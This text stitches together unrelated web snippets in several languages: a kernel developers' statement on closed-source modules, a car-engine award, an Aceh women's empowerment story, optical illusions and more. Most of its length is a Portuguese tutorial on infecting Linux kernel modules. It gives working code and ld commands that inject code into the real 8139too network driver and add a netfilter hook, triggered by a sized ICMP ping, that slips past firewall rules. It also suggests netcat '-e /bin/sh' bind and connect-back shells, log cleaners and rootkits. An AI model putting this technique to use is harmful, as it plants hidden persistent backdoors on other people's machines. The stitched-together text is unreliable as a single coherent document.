Un bel gruppo di kernel hacker (circa 140 persone) ha firmato una dichiarazione in cui prende una posizione netta contro i moduli proprietari (ossia closed-source) in Linux, inteso come kernel.

La dichiarazione è la seguente:

We, the undersigned Linux kernel developers, consider any closed-source Linux kernel module or driver to be harmful and undesirable. We have repeatedly found them to be detrimental to Linux users, businesses, and the greater Linux ecosystem. Such modules negate the openness, stability, flexibility, and maintainability of the Linux development model and shut their users off from the expertise of the Linux community. Vendors that provide closed-source kernel modules force their customers to give up key Linux advantages or choose new vendors. Therefore, in order to take full advantage of the cost savings and shared support benefits open source has to offer, we urge vendors to adopt a policy of supporting their customers on Linux with open-source kernel code.

We speak only for ourselves, and not for any company we might work for today, 
have in the past, or will in the future.

All'appello sembrano esserci molti personaggi famosi ma, almeno al momento, non appare il nome di Linus... o_O'

Notizia tratta da questo post su KernelTrap (se preferite, potete leggerlo anche qui).

Ciau.

--=[ Introducao

Melhor que conseguir elevar  privilegios em um sistema e deixar um LKM
nosso, com backdoors, rootkits, ou o que for, e' colocar isso tudo em um LKM do
sistema. Desta forma, a deteccao de rastros de uma intrusao fica um pouco mais
dificil.

Neste pequeno texto, veremos de maneira clara (eu espero) como podemos
infectar  um LKM,  adicionando mais funcoes ou modificando-as,  da maneira que
acharmos uteis ao nossos objetivos.

O assunto pode parecer um pouco complexo para iniciantes, entretanto o
que e' tratado e' somente o basico. Entao, se ja possui um conhecimento do as-
sunto, e' mais proveitoso procurar por algo mais avancado para leitura. Conhe-
cimento previo sobre a escrita de LKM e bem-vindo, embora nao seja indispensa-
vel.  Exemplos e citacoes sao feitos  tendo em mente o kernel do GNU/linux,
2.4.x.

--=[ O que sao LKMs

LKMs sao "pedacos" do kernel, que podem ser carregados e descarregados
dinamicamente, aumentando (ou diminuindo) a gama de opcoes e funcionalidades que
sao disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou
seja, nao esta embutido no proprio kernel, LKMs tem diversas vantagens a codigo
escritos diretamente no kernel. Entre elas temos:

- Economia de memoria: Pelo fato de ser carregada somente quando necessario,
nao existe desperdicio de memoria com funcoes que nao sao utilizadas constan-
temente;
- Facilidade na compilacao e debug: LKMs apos carregadas sao parte do kernel,
entretanto nao precisam ser compiladas junto com ele. Podem ser escritos e
compilados a qualquer momento. Quando se tem problemas com o codigo, e' possi-
vel fazer um debug dele com facilidade muito maior do que se o codigo estives-
se embutido no kernel. E' mais rapido descarregar o modulo, modificar o codigo,
recompilar e recarregar o modulo do que reescrever a parte do codigo que esta
no kernel, recompilar tudo e reiniciar o computador!
- Novos drivers podem ser testados sem precisar reiniciar o sistema. E sao em
drivers que iremos nos concentrar.

--=[ Inicio - Primeiros Exemplos

A forma mais simples de entender como funciona e' com exemplos. Inicial-
mente,  criamos um modulo chamado driver_original.o,  que sera o exemplo usado
como modulo do sistema, que futuramente sera infectado:

<++> lkm_injection/driver_original.c
/*
 * Simples exemplo de um lkm que nao faz nada,
 * mas poderia ser, por exemplo, um driver de
 * uma placa de rede.
 * Compile com $gcc -O3 -c driver_original.c
*/

#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>

static int __init inicio(void)
{
  printk ("<1> Iniciando driver_original \n");
  printk ("<1> Executando funcoes iniciais\n");   
  printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("<1> Finalizando modulo orignal \n");
}

module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
<--> lkm_injection/driver_original.c

Antes de carregar o modulo,  e' interessante ter o syslogd funcionando
corretamente e com a seguinte linha no seu arquivo de configuracao (normalmente
/etc/syslog.conf):

    kern.alert   /var/log/alert

Dessa forma poderemos observar melhor as mensagens que serao emitidas  pelo mo-
dulo. Apos isso, compile o codigo e carregue o modulo:

    #gcc -O3 -c driver_original.c
    #insmod driver_original.o

As opcoes passadas para o gcc sao:

||  -O3: Optimize yet more.  -O3 turns on all optimizations specified
|| by -O2 and also turns on the -finline-functions and -frename-registers
|| options. (E' uma opcao para otimizacao do objeto criado pelo gcc.).
||
||  -c: Compile or assemble the source files, but do not link.  The linking
|| stage simply is not done. The ultimate output is in the form of an object
|| file for each source file.

As seguintes mensagens devem aparecer em '/var/log/alert' (ou nao, elas
ainda podem aparecer em outro arquivo de log, sinistramente):

Nov 14 17:24:57 matrix kernel:  Iniciando driver_original
Nov 14 17:24:57 matrix kernel:  Executando funcoes iniciais
Nov 14 17:24:57 matrix kernel:  Modulo carregado e aguardando chamada a
suas funcoes

Com o driver (pseudo-driver que faz absolutamente nada mais do que exi-
bir mensagens) criado, podemos agora criar o modulo que contem o codigo que se-
ra injetado no driver_original.o:

<++> lkm_injection/infector.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo.
*/

#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  return 0;
}
<-->lkm_injection/infector.c

Observe que o modulo anterior possui apenas uma funcao, a init_module.
Essa funcao e' a equivalente a "main()" em um programa em C comum,  ou seja, e'
a primeira funcao a ser executada na execucao do modulo, que no caso e' o car-
regamento dele. Como deve imaginar, existe tambem uma funcao executada logo an-
tes do descarregamento do modulo.  Essa funcao e' a "cleanup_module()".

Compile o codigo e carregue o modulo:

    #gcc -O3 -c infector.c
    #insmod infector.o

A seguinte mensagem deve aparecer em '/var/log/alert':

Nov 14 17:36:29 matrix kernel:  Iniciando funcoes do modulo injetado

Por enquanto, tudo que temos sao dois modulos separados (note que a uni-
ca coisa que os modulos estao fazendo ate agora e' exibir mensagens no arquivo
de log. Leve em conta o seguinte:

- As funcoes do driver_original.o ja existem, como codigo do modulo do sistema
que futuramente sera infectado. Poderiamos estar usando como exemplos o codigo
de um driver real, mas isso apenas complicaria de forma desnecessaria a explana-
cao de como podemos efetuar a infeccao;
- As nossas funcoes - backdoors, rootkits, etc - serao adicionadas em breve
(por voce, obvio, apenas sera mostrado que e' possivel fazer e como poderia
ser feito).

Voltando ao que vale, o que precisamos fazer agora, e' injetar o modulo
infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o
GNU Linker (ld):

||    "ld  combines  a  number of object and archive files,
||    relo­cates their data and ties up  symbol  references.
||    Usually the last step in compiling a program is to run
||    ld."

Para injetar o codigo do infector.o dentro do driver_original.o, podemos
fazer da seguinte forma:

    #ld -r -z muldefs infector.o driver_original.o -o devil.o

Basicamente o que e' feito aqui e' uma injecao da funcao 'int init_modu-
le(void)' (a unica) do modulo infector.o para o modulo driver_original.o, crian-
do um novo modulo, chamado devil.o. O codigo do driver_original.o deve ter fica-
do parecido com o seguinte:

/** driver_original_infectado */
#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>

static int __init inicio(void)
{
  printk ("<1> Iniciando driver_original \n");
  printk ("<1> Executando funcoes iniciais\n");   
  printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("<1> Finalizando modulo orignal \n");
}

module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  return 0;
}
/** fim de driver_original_infectado */

Apos carregar ele (#insmod devil.o), o seguinte e' visto em '/var/log/alert':

Nov 14 18:34:42 matrix kernel:  Iniciando funcoes do modulo injetado

Esta funcionando, mas nao perfeitamente, ainda. Alguns detalhes devem
ser observados. Um pouco de teoria:

Em um LKM, a primeira funcao a ser executada e' a init_module() OU algu-
ma funcao passada como argumento para a macro module_init() (que no caso do
driver_original.c, foi a funcao 'inicio'). A macro module_init() esta declarada
em '/usr/src/linux/include/linux/init.h':

|| /**
||  * module_init() - driver initialization entry point
||  * @x: function to be run at kernel boot time or module insertion
||  *
||  * module_init() will add the driver initialization routine in
||  * the "__initcall.int" code segment if the driver is checked as
||  * "y" or static, or else it will wrap the driver initialization
||  * routine with init_module() which is used by insmod and
||  * modprobe when the driver is used as a module.
|| */
|| #define module_init(x)  __initcall(x);

Se observar, vera que no codigo teria tanto a funcao "module_init" quanto
a "init_module". Entao, caso o codigo acima fosse compilado, ocorreria um erro:

    error: redefinition of `init_module'
    error: `init_module' previously defined here

O mesmo ocorreria se eles fossem  compilados separados e  posteriomente
linkados. Para contornar este problema, compilamos os arquivos separadamentes e
linkamos,  passando o argumento '-z muldefs' para o ld,  informando a ele para
aceitar definicoes multiplas de uma mesma funcao. Desta forma podemos substituir
(sobreescrever) a funcao 'module_init(inicio)', que inicializa o driver_original
.o, pela funcao init_module() do modulo infector.o.

Dessa forma teriamos o nosso modulo injetado dentro do modulo que esta-
mos tentando infectar. So tem um detalhe: A funcao 'module_init(inicio)' que se-
ra sobreescrita contem codigo que pode ser essencial para o modulo, em sua ver-
sao nao infectada (aqui o codigo original apenas exibe mensagens, mas normalmen-
te nao e' apenas isso que ocorre), e deve continuar sendo executado.  Para que
tudo funcione corretamente, basta que o modulo infector.o, em sua inicializacao,
execute uma chamada para a funcao inicio() do modulo driver_original.o.
Complicou? Observe:

<++> lkm_injection/infector2.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao
 * principal do modulo infectado
 */
#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  printk ("<1> ***inicializando modulo original*** \n\n");
  inicio (); // funcao inicio do driver_original, chamada para
             // inicializacao dele
  return 0;
}
<--> lkm_injection/infector2.c

Compilamos o novo modulo e linkamos com o modulo original, criando um outro
modulo, chamado devil.o:

    # gcc -O3 -c infector2.c
    # ld -r -z muldefs infector2.o driver_original.o -o devil.o

Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em
'/var/log/alert':

Nov 14 18:39:24 matrix kernel:  Iniciando funcoes do modulo injetado
Nov 14 18:39:24 matrix kernel:  ***inicializando modulo original***
Nov 14 18:39:24 matrix kernel:  Iniciando driver_original
Nov 14 18:39:24 matrix kernel:  Executando funcoes iniciais
Nov 14 18:39:24 matrix kernel:  Modulo carregado e aguardando chamada a
suas funcoes

Exatamente o que e' necessario:
- Nosso modulo e' executado, fazendo o que precisa;
- Nosso modulo chama a funcao original do modulo que foi infectado;
- Modulo original funciona normalmente, como se nada tivesse acontecido.
So precisamos de algum codigo util para ser executado e algum modulo para
servir de hospedeiro!

--=[ Localizando o Hospedeiro

Como dito anteriormente, a primeira funcao a ser executada em um modulo
pode ser tanto module_init(FUNCAO), quanto  init_module(). No caso da infeccao
de um modulo que seja inicializado por  module_init(FUNCAO), so precisamos nos
certificar que o codigo que infectou o modulo original faca uma chamada para
'FUNCAO', garantindo assim que tudo que deve ser executado por ele ao ser car-
regado realmente sera executado. Agora, no caso da infeccao de um modulo que e'
inicializado por init_module(), a situacao e' diferente. E' necessario literal-
mente reescrever o init_module() do modulo original dentro do  modulo que  ira
causar a  infeccao. Isto  pode  ser  um  tanto chato de se fazer, dependendo do
tamanho da funcao de inicializacao. Por este simples motivo, sera dado preferen-
cia aos modulos que sejam inicializados por module_init(FUNCAO).

Decidir qual modulo utilizar nao deve ser uma tarefa muito complicada.
Vamos levar em consideracao o seguinte:

- Para que possamos acessar uma maquina remota, ela obviamente esta conectada
a rede atraves de algum dispositivo, que normalmente e' uma interface de rede
(ethernet);
- Para que a interface de rede possa ser utilizada, e' necessaria a utilizacao
de algum tipo de driver;
- A maioria das distribuicoes de linux atualmente, colocam os drivers de
interfaces de rede como modulos;

Com estas informacoes, conclui-se que e' bastante interessante a infec-
cao de um driver de interface de rede (se a maquina nao carregar este modulo a
cada inicializacao do sistema,  ela nao tera  acesso a rede e nos nao teremos
acesso a ela de qualquer forma, por isso a escolha).

Outro detalhe que vale observar e' que muitas maquinas costumam utilizar
placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos modulos
(sistemas diferentes utilizando modulos iguais), o que facilitaria bastante a
escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes
modulos controladores de dispositivos de rede:

|| /** realtek 8139 */
|| /*
||   8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux.
||    Maintained by Jeff Garzik <jgarzik@pobox.com>
||   Copyright 2000-2002 Jeff Garzik
|| */
|| ...
|| muito codigo
|| ...
|| module_init(rtl8139_init_module);
|| module_exit(rtl8139_cleanup_module);
|| /** fim de realtek 8139 */

|| /** sis900 */
|| /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux.
||    Copyright 1999 Silicon Integrated System Corporation
||    Revision: 1.08.06 Sep. 24 2002
||       
||    Modified from the driver which is originally written by Donald Becker.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(sis900_init_module);
|| module_exit(sis900_cleanup_module);
|| /** fim de sis900 */

|| /** ne2k */
|| /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */
|| /*
||  A Linux device driver for PCI NE2000 clones.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(ne2k_pci_init);
|| module_exit(ne2k_pci_cleanup);
|| /** ne2k */

O codigo completo dos arquivos esta em '/usr/src/linux/drivers/net'.
Nota alguma semelhanca entre o codigo desses drivers e o codigo do
"driver_original.c"? Observa-se que muitos destes drivers estao codificados de
forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados,
vamos juntar alguns codigos interessantes para injetar neles.

--=[ Colocando Algum Codigo Util

Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas
ideias:

- Uma backdoor;
- Um logcleanner;
- Um rootkit;
- Um sninffer;
- Qualquer coisa que voce tiver ideia! Voce esta no comando.

Com as ferramentas em maos, vamos ver uma pseudo-implementacao de algum
codigo realmente util. O codigo a seguir e' uma LKM que contem um codigo inofen-
sivo, ate que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras,
o codigo nocivo da LKM e' ativado por um PING remoto de 50 bytes, que pode ser
feito assim: $ping -s 22 ip.da.vitima). Isso e' feito com a criacao de um hook
no netfilter, que e' adicionado antes de outras possiveis regras que  poderiam
ter sido criadas para bloquear pacotes ICMP, ou seja, voce pode com isso passar
por um conjunto de regras que tornaria a vitima inacessivel. E mais, voce pode
criar regras on-the-fly,  para permitir que a maquina que enviou o pacote ICMP
tenha acesso irrestrito. Resumindo, voce pode inutilizar as regras que tenham
sido criadas.

Para execucao, e' possivel colocar o que quiser: uma backdoor (que tal
executar o netcat ouvindo em uma porta X e passar a opcao "-e /bin/sh" para ele?
Uma root shell sem muito esforco), uma backdoor em connect-back  (que tal esse
mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslo-
gd enquanto o ip de quem enviou o pacote  ICMP estiver se comunicando com a ma-
quina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o codigo
nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos.  No
exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em
mente no momento que for implementar algo e controle a execucao do codigo noci-
vo. Segue a implementacao:

<++> lkm_injection/injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size:
 * #insmod injekt.o pkt_size=100
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>

/* declaracoes de variaveis e prototipo de funcoes  */
int exec_injetk(void);
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

/* funcao principal do modulo */
int __init init_injekt()
{
    printk ( "<1> Inicializando : icmp_pkt_size:  " \
                 "%i bytes\n\n", pkt_size + P_SIZE_OFFSET);

    /* informacoes para registrar o hook do netfilter */
    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;

    /* a hook e' criada */
    nf_register_hook(&nfh);

    return 0;
}

/* funcao de saida do modulo */
void __exit exit_injekt ( )
{
    /* remove a hook */   
    nf_unregister_hook( &nfh );
}

/* O que sera feito quando receber o pacote ICMP do tamanho especificado  */
int i_am_terrible( )
{
    printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}

/* aqui temos a hook propriamente dita */
unsigned int i_ll_hook_you (
            unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {

    struct sk_buff *sk = *skb;
    /* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */
    if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
         sk->len == P_SIZE_OFFSET + pkt_size ) {
        /* informa que recebeu o pacote */
    //printk ( "<1> Recebido pacote de %i bytes )\n\n", sk->len );
    i_am_terrible();
    return NF_STOLEN; /* elimina o pacote! */
    }
    return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */
}

/* informacoes do modulo */
module_init ( init_injekt );
module_exit ( exit_injekt );
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
MODULE_LICENSE ( "GPL" );
MODULE_AUTHOR  ( "tDs <tds@motdlabs.org>" );
MODULE_DESCRIPTION ( ":: keep your mind free() ::" );
<--> lkm_injection/injekt.c

--=[ Cenario Real: Infectando um Driver

Vamos utilizar como exemplo o driver 8139too.o, que normalmente esta em
"/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz". Note que ele esta
compactado (na maioria das distribuicoes),  entao nao tente injetar seu modulo
sem antes descompactar.  O codigo que sera injetado e' o que foi exposto acima,
levemente modificado (embora continue fazendo nada mais do que exibir mensagens).
Segue o codigo:

<++>lkm_injection/8139injekt.c
/*
 * Implementacao de lkm com codigo nocivo ativado remotamente,
 * atraves do recebimento de um pacote ICMP de 50 bytes, que pode
 * ser alterado passando o parametro pkt_size:
 * #insmod 8139injekt.o pkt_size=100
 * preparado para infectar driver da placa de rede realtek 8139too
 * /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz
 *
 */
#define __KERNEL__
#define MODULE

#define P_SIZE_OFFSET 28

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>
#include <linux/pci.h>

int exec_injetk(void);
extern RTL8139_DRIVER_NAME;
extern rtl8139_pci_driver;
//extern pci_module_init();
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
                            struct sk_buff **skb,
                            const struct net_device *in,
                            const struct net_device *out,
                            int (*okfn)(struct sk_buff*));

int init_module()
{
    /* codigo do driver original */
        /* when we're a module, we always print a version message,
         * even if no 8139 board is found.
         */
#ifdef MODULE
        printk("<8> %s \n", RTL8139_DRIVER_NAME);
#endif

    nfh.hooknum  = NF_IP_LOCAL_IN;
    nfh.priority = NF_IP_PRI_FIRST;
    nfh.hook     = i_ll_hook_you;
    nfh.pf       = PF_INET;
    nf_register_hook(&nfh);

    /* codigo do driver original */
    return pci_module_init(&rtl8139_pci_driver);
}

void cleanup_module ( )
{
    /* remove a hook */
    nf_unregister_hook( &nfh );
    /* codigo do driver original */
    pci_unregister_driver(&rtl8139_pci_driver);
}
int i_am_terrible( )
{
    printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
    return 0;
}
unsigned int i_ll_hook_you (
            unsigned int hooknum,
                    struct sk_buff **skb,
                    const struct net_device *in,
                    const struct net_device *out,
                    int (*okfn)(struct sk_buff * ) ) {
    struct sk_buff *sk = *skb;
    if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
         sk->len == P_SIZE_OFFSET + pkt_size ) {
    i_am_terrible();
    return NF_STOLEN;
    }
    return NF_ACCEPT;
}
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
<-->lkm_injection/8139injekt.c

Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de
advertencia:

    # gcc -O3 -c 8139injekt.c
    # ld -r -z muldefs 8139inject.o 8139too.o -o devil.o
    ld: Warning: size of symbol `init_module' changed from 139 in badcode.o
    to 70 in 8139too.o
    ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o
    to 12 in 8139too.o
    # modinfo devil.o
    filename:    devil.o
    description: "RealTek RTL-8139 Fast Ethernet driver"
    author:      "Jeff Garzik <jgarzik@pobox.com>"
    license:     "GPL"
    parm:        pkt_size int, description "Tamanho de pacote ICMP 
                 ( Padrao = 50 )"
    parm:        multicast_filter_limit int, description "8139too maximum number
                 of filtered multicast addresses"
    parm:        max_interrupt_work int, description "8139too maximum events
                 handled per interrupt"
    parm:        media int array (min = 1, max = 8), description "8139too: Bits
                 4+9: force full duplex, bit 5: 100Mbps"
    parm:        full_duplex int array (min = 1, max = 8), description "8139too:
                 Force full duplex for board(s) (1)"
    parm:        debug int, description "8139too bitmapped message enable number"

Observe que o modulo agora contem o parametro que definimos anteriormen-
te, em nosso modulo. Apos carregar o modulo, o hook do netfilter que foi criada
estara disponivel e, para ativar a nossa funcao "i_am_terrible", basta um
"ping -s 22 ip.da.vitima". Note que o PING nao vai retornar resposta, visto que
o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima
observacao: Nao tente fazer isso com um driver de um dispositivo nao presente
na maquina, os resultados podem ser desastrosos ( panic() ).

Muito pode ser feito com infeccao de modulo, embora pessoas com maior
conhecimento normalmente utilizam-se de outros meios para manter acesso em
hosts previamente dominados. A utilizacao de modulos para esse fim pode ser
bastante efetiva e ao mesmo tempo muito simples de ser implemtentada.

--=[ Agradecimentos e Links/Referencias

Pessoal da scene brasileira toda, em especial ao pessoal que converso
com maior frequencia. Voces sabem quem sao voces.
Informacao e' simples de se adquirir, internet esta cheia disso. Basta saber
procurar.

http://www.motdlabs.org
http://tds.motdlabs.org
http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/
http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html
http://www.netfilter.org/

_EOF_

Fonte

Protesters carry placards calling for the ouster of President Gloria Macapagal Arroyo during an interfaith prayer rally in Cotabato City, February 29, 2008. Thousands of people streamed to City Plaza on Friday calling for the resignation of Arroyo in a colourful outpouring of placards, prayers and chants.

Mercedes è stata premiata a Parigi per il DiesOtto, un motore molto innovativo presentato dalla casa tedesca al Salone di Francoforte, dove è stata ospitato nella pancia della eccentrica concept F700.

Il motivo della premiazione, svoltasi nell’ambito del “Festival Automobile International” è la capacità che ha il motore di unire il meglio degli attuali propulsori: potenza paragonabile ad un V6 benzina, coppia e consumi ai livelli dei diesel più all’avanguardia ed emissioni molto più basse della produzione attuale. “Il DiesOtto in sostanza rappresenta il futuro dei motori a combustione interna” secondo la giuria internazionale che ha assegnato il riconoscimento, consegnato da Alain Prost all’Hotel Des Invalides.

Ricordiamo qualche numero del motore: si tratta di un piccolo 1.8 quattro cilindri che adotta tutte le soluzioni più moderne dell’ingegneria motoristica: turbocompressore, iniezione diretta, rapporto di compressione variabile e modulo ibrido ausiliare. Il risultato è una potenza di 238 CV, una coppia di 400 Nm, un consumo medio di 5,3 l/100 km ed emissioni contenute in 127 g/km di CO2, tutti dati fatti registrare dalla F700, vale a dire un’ammiraglia di oltre cinque metri, equipaggiata di tutto punto. Va aggiunto che il risultato è stato raggiunto anche grazie all’adozione di alcuni accorgimenti aerodinamici e a pneumatici dalla sezione molto sottile.

Il DiesOtto ha un’altra caratteristica tutt’altro che secondaria: quando sentiamo parlare di emissioni pensiamo subito al dato chilometrico di anidride carbonica emessa, ma dagli scarichi non esce solo CO2: molto nocivi sono anche gli ossidi di azoto, dei quali però le case ancora non si occupano in maniera organica. Questo nuovo motore invece, grazie alla combustione esemplare per omogeneità, anche a temperature molto basse, permette di ridurre drasticamente il livello dei NOx emessi.

[via: autoblog.it]

Masithah bekerja 16 hingga 18 jam sehari. Ia bendahara sebuah lembaga keuangan mikro (LKM) di Banda Aceh, agen penjualan asuransi, penjahit pesanan pakaian pesta dan pengantin, serta—tentu saja—ibu rumah tangga. Pekerjaan terakhir ini membuat ia harus bangun lebih pagi dan kerap tidur lebih larut dari siapapun penghuni rumah.

“Kakak memang sulit tidur malam, kok,” alasan Masithah. Perempuan Aceh membahasakan dirinya ‘kakak’ kepada orang yang lebih muda.

Menurut Masithah, ia masih bisa membagi waktu dan tenaga untuk keluarga kendati melakoni pekerjaan luar rumah. Sebab, jam kerja mengurus LKM, berjualan paket asuransi ataupun menjahit lebih fleksibel ketimbang suaminya yang pegawai negeri sipil. “Abang kan rutin dari pagi sampai sore di kantor. Kakak masih bisa balik ke rumah.”

Fatimah, perempuan lain, juga bekerja di luar rumah. Ia fasilitator penerima kredit lunak dari sebuah organisasi nonpemerintah untuk wilayah Banda Aceh dan Aceh Besar. Bagi Fatimah, istri wajib menuntaskan pekerjaan di rumah sebelum melangkah ke dunia publik.

Saat dijemput untuk program perbincangan radio Rumoh PMI, 11 Januari, Fatimah baru kelar menyiapkan sayur dan lauk untuk makan malam. Ia telah mengira bahwa sepulang menjadi narasumber dalam program radio yang dikelola Program Penjangkauan Masyarakat Palang Merah Irlandia, hari bakal menyentuh malam. Bila sayur dan lauk telah siap malam nanti tinggal memanaskan.

Rumoh PMI edisi 55 itu membincangkan tema program pemberdayaan perempuan Aceh setelah rekonstruksi dan rehabilitasi pasca tsunami dan gempa bumi berjalan selama 3 tahun. Dari perbincangan ini diketahui tingkat partisipasi perempuan dalam proses pembangunan kembali Aceh meningkat, terutama dalam program mata pencaharian. Menurut Fatimah, di lembaganya angka kredit macet (nonperforming loans) dari peminjam perempuan mencapai nol persen. Kalaupun ada tunggakan biasanya hanya pembayaran lewat waktu jatuh tempo.

Tapi, partisipasi rupanya tak paralel dengan meningkatnya kesadaran akan peran setara antara laki laki dan perempuan. Tema pembagian pekerjaan domestik antara suami dan istri masih asing bagi Masithah dan Fatimah. Agaknya begitu juga bagi banyak perempuan lain di Aceh Darussalam.

Tim Advokasi dan Radio mesti menunda pertemuan warga di Kecamatan Lhoong, Aceh Besar, Agustus 2007, untuk menunggu datangnya wakil wakil perempuan. Waktu pertemuan yang ditetapkan pukul 13.00 rupanya menghalangi kedatangan para perempuan lantaran belum selesai dengan tugas di rumah. Alhasil, pertemuan baru bisa terlaksana pukul 14.30 alias tertunda 1,5 jam. Toh, lebih baik molor ketimbang tanpa kehadiran mereka.

Pertemuan itu membicarakan kemungkinan warga Lhoong mendapat pembangun baru bagi rumah mereka yang dibangun dari bahan papan mengandung asbes. Sepanjang diskusi para perempuan yang duduk di bagian belakang lebih banyak diam. Baru setelah diminta secara langsung untuk berbicara, mereka menuturkan beberapa persoalan yang mengganggu kesehatan selama tinggal di rumah bantuan dari papan mengandung asbes itu.

Tim Advokasi dan Radio hari itu belajar memahami affirmative action dalam pengertian sehari hari. Affirmative action rupanya berarti juga memberi perempuan ruang bahkan waktu khusus untuk berbicara. Terutama di forum terbuka yang dihadiri kebanyakan laki laki.

Pendiri organisasi perempuan Flower Aceh, Suraiyya Kamaruzzaman, meyakinkan upaya Program Penjangkauan Masyarakat merupakan bagian dari pemberdayaan perempuan. Semisal, mengundang lebih banyak perempuan berbicara dalam program radio dan memberi mereka waktu yang lebih lama dari rata rata penilpun. Khusus pada perempuan yang bekerja di dunia publik, ia menekankan pentingnya memberi pemahaman tentang pembagian tugas suami dan istri.

“Pandangan Ibu Fatimah bahwa pekerjaan rumah tetap menjadi kewajiban istri pada gilirannya memberi beban ganda pada perempuan,” ujarnya. “Situasi ini bukan saja tidak disadari oleh rata rata perempuan di Aceh bahkan organisasi organisasi yang membantu mereka.”

Fatimah terlihat mengangguk di dalam studio, sore itu. []

English Version

Vídeo Legendado. Continua no corpo do post...

Agradeço ao colega starfox que mandou o post original.

• O que você vê nesta imagem?

De início pode ser um pouco difícil ver, mas nos espaços claros lê-se a palavra "optical" enquanto na paisagem em azul pode ser lida a plavra "illusion"

• E agora, o que você lê nesta imagem?

Provavelmente você respondeu: "A BIRD IN THE BUSH". Foi isso?
Então você errou. A palavra "THE" está grafada duas vezes.

• E o que você lê nesta imagem?

Conseguiu enxergar a palavra GOOD na cor escura ou EVIL na cor branca dentro de GOOD?

• Teste do olho Alzheimer. Conte todos os " F " no texto seguinte:

.

FINISHED FILES ARE THE RE
SULT OF YEARS OF SCIENTI
FIC STUDY COMBINED WITH
THE EXPERIENCE OF YEARS...

.

Existem seis, mas se você contou apenas três, não se assuste, tudo normal. O problema é que nosso cérebro não consegue processar a palavra "OF".

• Esta imagem não existe, mas seus olhos podem te enganar.

• Neste buquê você poderá encontrar cinco rostos de perfil

• Tem mais de 10 rostos nesta imagem.

Agradecimentos e créditos ao Wolfman, do www.forum.lkmtheblog.com

Como muchos de nosotros sabemos, en sistemas Linux también hay rootkits, incluso antes de que saliesen para Windows, y bastante sofisticados además. No es de extrañar, que este tipo de negocio vaya mutando hacia otros sistemas operativos.

